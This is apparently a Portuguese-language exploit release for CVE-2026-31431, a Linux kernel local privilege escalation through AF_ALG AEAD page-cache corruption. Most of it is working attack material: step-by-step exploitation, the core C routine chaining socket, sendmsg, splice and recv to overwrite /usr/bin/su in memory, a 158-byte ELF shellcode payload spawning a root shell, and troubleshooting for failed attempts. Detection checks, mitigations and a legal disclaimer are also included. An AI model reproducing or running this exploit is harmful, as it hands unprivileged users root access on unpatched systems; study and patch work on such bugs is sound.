
Prova de conceito funcional de exploit para CVE-2026-31431, uma escalada local de privilégios no kernel Linux por meio de corrupção do cache de páginas do AEAD AF_ALG, concedendo shell de root.
2026-04-29 — Estou publicando este exploit um dia após compartilhá-lo no fórum MyDigitalLife. Ele não requer Python; foi escrito em C e compilado para o menor tamanho possível usando:
musl-gcc -static -Os -o exploit exploit.c -sAmeaça crítica. O binário do exploit é compilado sem dependências e pode ser usado para testar vulnerabilidades em qualquer sistema Linux
CVE-2026-31431 é uma vulnerabilidade confirmada pela NIST no kernel Linux que permite que um usuário local sem privilégios obtenha um shell
rootem segundos. Diante do exploit de circulação pública para CVE-2026-31431, desenvolvi uma prova de conceito (PoC) binária para avaliar a exposição da nossa infraestrutura interna. Embora alguns ambientes restrinjam o uso de su, esta vulnerabilidade é particularmente crítica para servidores compartilhados porque ataca o gerenciamento de memória subjacente do kernel. Consequentemente, qualquer binário SETUID — incluindo sudo, passwd, mount ou newgrp — pode ser aproveitado para acionar o exploit e conceder um shell root. Ação administrativa para corrigir o kernel é necessária imediatamente, pois as restrições padrão de espaço do usuário são insuficientes para mitigar esta ameaça. Qualquer sistema Linux executando um kernel sem patch está em risco.
Meu Próprio Exploit Funcional · Kernel Linux · Interface criptográfica AF_ALG (AEAD)
Substitui /usr/bin/su no cache de páginas do kernel sem tocar no arquivo em disco
Acesso local ao shell é suficiente — nenhum privilégio adicional é necessário
Afeta distribuições Linux sem patch

CVE-2026-31431 é um bug no tratamento de operações de I/O scatter-gather e referências ao cache de páginas no subsistema criptográfico do kernel Linux — especificamente na implementação do socket AF_ALG para algoritmos AEAD (crypto/af_alg.c, crypto/aead.c).
O kernel Linux expõe uma interface criptográfica ao espaço do usuário através de sockets AF_ALG. A vulnerabilidade reside no fato de que, durante uma operação de descriptografia AEAD, o kernel mapeia incorretamente a saída da descriptografia diretamente nas páginas do cache de páginas do arquivo de origem — em vez de um buffer temporário. Um atacante pode, assim, sobrescrever o conteúdo em memória de qualquer arquivo sem modificá-lo em disco, sem privilégios root e sem deixar nenhum rastro visível no sistema de arquivos.
O exploit consiste em dois componentes: um script auxiliar em /tmp/x e um loop de corrupção baseado em AF_ALG. A seguir, uma descrição exata baseada na análise do código-fonte:
1. Configuração do script auxiliar
O exploit cria /tmp/x com o seguinte conteúdo:
#!/bin/sh
export TERM=xterm-256color
exec /bin/sh
Ele define permissões para 0755. O motivo: /usr/bin/su remove variáveis de ambiente (incluindo TERM) ao ser iniciado. O script auxiliar as restaura antes de iniciar o shell real, garantindo um terminal funcional.
2. Construção do payload ELF
Um binário ELF x86_64 mínimo de 158 bytes contendo shellcode bruto é construído em memória. A string /bin/sh no offset 150 é então corrigida para /tmp/x\0 via memcmp/memcpy. Consulte Payload ELF para detalhes.
3. Abrindo /usr/bin/su somente leitura
int su_fd = open("/usr/bin/su", O_RDONLY);
O arquivo é aberto somente leitura — o exploit não requer nenhuma permissão de escrita.
4. Loop de corrupção — 39 iterações de 4 bytes cada
O payload (158 bytes) é processado em blocos de 4 bytes (39 blocos completos). Cada bloco é passado por corrupt_binary_chunk(), que executa:
AF_ALG (SOCK_SEQPACKET)authencesn(hmac(sha256),cbc(aes)) — um algoritmo AEAD compostoop_sock)sendmsg com um buffer de 8 bytes (4× 'A' + 4 bytes do payload) e três CMSGs: ALG_OP_DECRYPT, IV (20 bytes), assoclen=8splice: su_fd → pipe → op_sock (zero-copy através do kernel)recv() — é aqui que o kernel erroneamente sobrescreve o cache de páginas5. Execução
execve("/usr/bin/su", args, NULL);
O kernel carrega /usr/bin/su através do cache de páginas — que agora está envenenado. O bit SUID (chmod u+s) está intacto, então o kernel executa o arquivo como root. O shellcode executa setuid(0) → execve("/tmp/x") → shell root interativo.
flowchart TD
A[Usuário local sem privilégios] --> B["Cria script auxiliar /tmp/x\nchmod 0755"]
B --> C["Constrói payload ELF de 158 bytes\nPatch: /bin/sh → /tmp/x"]
C --> D["open /usr/bin/su O_RDONLY\nNenhuma permissão de escrita necessária"]
D --> E[Loop: 39 blocos de 4 bytes]
E --> F[socket AF_ALG SOCK_SEQPACKET]
F --> G["bind: authencesn hmac sha256 cbc aes"]
G --> H["setsockopt: chave de 72B + authsize=4"]
H --> I[accept → op_sock]
I --> J["sendmsg: 8B de dados + 3x CMSG\nDECRYPT / IV 20B / assoclen=8"]
J --> K["splice: su_fd → pipe → op_sock\nzero-copy através do kernel"]
K --> L[recv → finaliza operação AEAD]
L --> M["BUG DO KERNEL: saída da descriptografia\nsobrescreve cache de páginas de su_fd"]
M --> N{Próximo bloco?}
N -->|Sim| E
N -->|Não| O["execve /usr/bin/su"]
O --> P["Kernel carrega /usr/bin/su\ndo cache de páginas envenenado"]
P --> Q["Bit SUID intacto\nkernel executa como root"]
Q --> R["Shellcode: setuid 0 syscall 105"]
R --> S["execve /tmp/x syscall 59"]
S --> T[Shell root interativo]
Seções principais de exploit.c revisadas abaixo:
corrupt_binary_chunk()O coração do exploit. Cada chamada coordena uma transação completa de AF_ALG:
static void corrupt_binary_chunk(int fd, int offset, const unsigned char chunk[4])
{
// Cria socket AF_ALG e faz bind em AEAD authencesn(hmac(sha256),cbc(aes))
alg_sock = socket(AF_ALG, SOCK_SEQPACKET, 0);
bind(alg_sock, (struct sockaddr *)&sa, sizeof(sa));
// Chave de 72 bytes + tamanho da tag de autenticação = 4 bytes
setsockopt(alg_sock, SOL_ALG, ALG_SET_KEY, key, sizeof(key)); // 72B
setsockopt(alg_sock, SOL_ALG, ALG_SET_AEAD_AUTHSIZE, NULL, 4);
op_sock = accept(alg_sock, NULL, NULL);
// Buffer: 4x 'A' como dados associados + 4 bytes do payload
unsigned char msg_buf[8] = {'A','A','A','A', chunk[0],chunk[1],chunk[2],chunk[3]};
// 3 CMSGs: operação DECRYPT / IV (20B, primeiro byte 0x10) / assoclen=8
// sendmsg com MSG_MORE — dados ainda não completos
sendmsg(op_sock, &msg, MSG_MORE);
// splice zero-copy: su_fd → pipe → op_sock (offset+4 bytes)
splice(fd, &off_in, pipefd[1], NULL, total_len, 0);
splice(pipefd[0], NULL, op_sock, NULL, total_len, 0);
// recv finaliza a operação — o kernel escreve incorretamente no cache de páginas de su_fd aqui
recv(op_sock, dummy, 8 + offset, 0);
}
for (size_t i = 0; i < len; i += 4) {
if (i + 4 > len) break; // ignora os últimos 2 bytes (158 % 4 = 2)
corrupt_binary_chunk(su_fd, i, &payload[i]);
}
// 39 blocos completos × 4 bytes = 156 bytes aplicados
O payload é um binário ELF x86_64 autossuficiente de 158 bytes com shellcode bruto — sem linker dinâmico, sem bibliotecas externas.
; offset 120 — ponto de entrada 0x400078
xor eax, eax ; eax = 0
xor edi, edi ; edi = 0 (uid = 0)
mov al, 105 ; syscall setuid(0)
syscall
lea rdi, [rip+0xf] ; rdi → "/tmp/x\0" (offset 150)
xor esi, esi ; argv = NULL
push 59
pop rax ; syscall execve
cdq ; rdx = 0 (envp = NULL)
syscall
xor edi, edi
push 60
pop rax ; syscall exit(0)
syscall
; offset 150
db "/tmp/x", 0, 0 ; (corrigido de "/bin/sh\0")
uname -r
Compare a saída com a lista de versões vulneráveis publicada pela NIST: nvd.nist.gov/vuln/detail/CVE-2026-31431
python3 -c "import socket; s = socket.socket(38, socket.SOCK_SEQPACKET); print('AF_ALG disponível — o sistema pode estar vulnerável')"
Se o comando retornar [Errno 97] Address family not supported — o módulo está desabilitado e o risco é significativamente menor.
/usr/bin/suls -la /usr/bin/su
Se o bit s estiver presente (ex.: -rwsr-xr-x) — /usr/bin/su tem SUID definido e é o vetor de ataque.
# Descarregar módulo AF_ALG se não for necessário
sudo modprobe -r af_alg 2>/dev/null || echo "O módulo está embutido no kernel — não é possível descarregar"
# Alternativa — remover SUID temporariamente
sudo chmod u-s /usr/bin/su
Esta seção é destinada a pesquisadores de segurança que analisam a vulnerabilidade em um ambiente isolado.
socket() ou bind() falhamSintoma: perror("socket") ou perror("bind") aciona a saída.
Causas:
AF_ALG ou o algoritmo authencesn — verifique: cat /proc/crypto | grep authencesnsudo modprobe hmac sha256 cbc aead authencesnAF_ALG — verifique os logs: dmesg | tail -20splice() retorna EPERM / EINVALSintoma: Operação de splice rejeitada pelo kernel.
Causas:
su_fd aponta para um arquivo regular, não um symlink ou dispositivodmesg para entradas de log de auditoria bloqueando zero-copy em sockets criptográficosexecve inicia um shell de usuário normalSintoma: Sem prompt root; id mostra o UID original.
Causas:
/usr/bin/su está sem o bit SUID — ls -la /usr/bin/su, o bit s deve estar visívelexecve — adicione sync ou reduza o atraso do loop/tmp/x não encontrado ou TERM ausenteSintoma: O shell inicia, mas a renderização do terminal está quebrada.
Causas:
/tmp seja gravável e não montado com noexec/tmp/x deve ter permissões 0755 — verifique: ls -la /tmp/xexecve("/tmp/x") falhar — o shellcode pode ser corrigido novamente para usar /bin/sh diretamenteAVISO: Este documento é publicado exclusivamente para fins informativos, educacionais e defensivos. Ele descreve uma ameaça publicamente conhecida identificada pela NIST e relatada pela comunidade de segurança. Executar o exploit em sistemas que você não possui ou sem autorização explícita para testar pode violar leis aplicáveis e resultar em responsabilidade criminal. Teste apenas em ambientes de laboratório isolados.
Todas as marcas registradas são propriedade de seus respectivos proprietários. Linux e marcas relacionadas são marcas registradas da Linux Foundation.
Última atualização: 2026-04-29
| Propriedade | Valor |
|---|
| Identificador | CVE-2026-31431 |
| Referência | NIST NVD |
| Tipo | Escalação de Privilégios Local (LPE) |
| Componente | Kernel Linux — AF_ALG / AEAD (authencesn) |
| Acesso necessário | Usuário local sem privilégios |
| Impacto | Shell root interativo |
| Status do exploit | PoC funcional publicamente disponível no GitHub |
| Persistência | Nenhuma — a modificação existe apenas na RAM; reiniciar restaura o estado original |
| Sistema | Status |
|---|
| Ubuntu 24.04 (bare metal / VM) | ⚠️ Vulnerável em kernel sem patch |
| Debian, Fedora, Arch em kernel sem patch | ⚠️ Vulnerável |
Distribuições com CONFIG_SECURITY_LOCKDOWN_LSM | ✅ Provavelmente protegido |
Sistemas com nosuid ou ProtectSUID (systemd) | ✅ Protegido |
Sistemas com AppArmor/SELinux bloqueando AF_ALG | ✅ Protegido |
| macOS, Windows (nativo) | ✅ Não afetado |
| Campo | Detalhes |
|---|
| Tamanho total | 158 bytes |
| Cabeçalho ELF | 120 bytes (e_type=2 EXEC, e_machine=62 x86_64) |
| Ponto de entrada | 0x00400078 = offset 120 (imediatamente após o cabeçalho) |
| Shellcode | 30 bytes (offsets 120–149) |
| String alvo | 8 bytes no offset 150 (/bin/sh\0 → corrigido para /tmp/x\0) |
| Blocos de 4 bytes | 39 completos (156 bytes); últimos 2 bytes ignorados |
| Mitigação | Como aplicar | Eficácia |
|---|
| Atualização do kernel | sudo apt update && sudo apt upgrade + reiniciar | ✅ Completa (quando o patch estiver disponível) |
| Bloquear módulo AF_ALG | echo "install af_alg /bin/false" >> /etc/modprobe.d/blacklist.conf | ✅ Bloqueia o vetor de ataque |
Remover SUID de su | sudo chmod u-s /usr/bin/su | ✅ Bloqueia este exploit (nota: su deixará de funcionar) |
Montar /tmp com noexec | Editar /etc/fstab: tmpfs /tmp tmpfs noexec,nosuid 0 0 | ⚠️ Parcial — bloqueia /tmp/x, o exploit pode usar outro caminho |
| AppArmor / SELinux | Perfil bloqueando AF_ALG socket para usuários sem privilégios | ✅ Eficaz com configuração correta |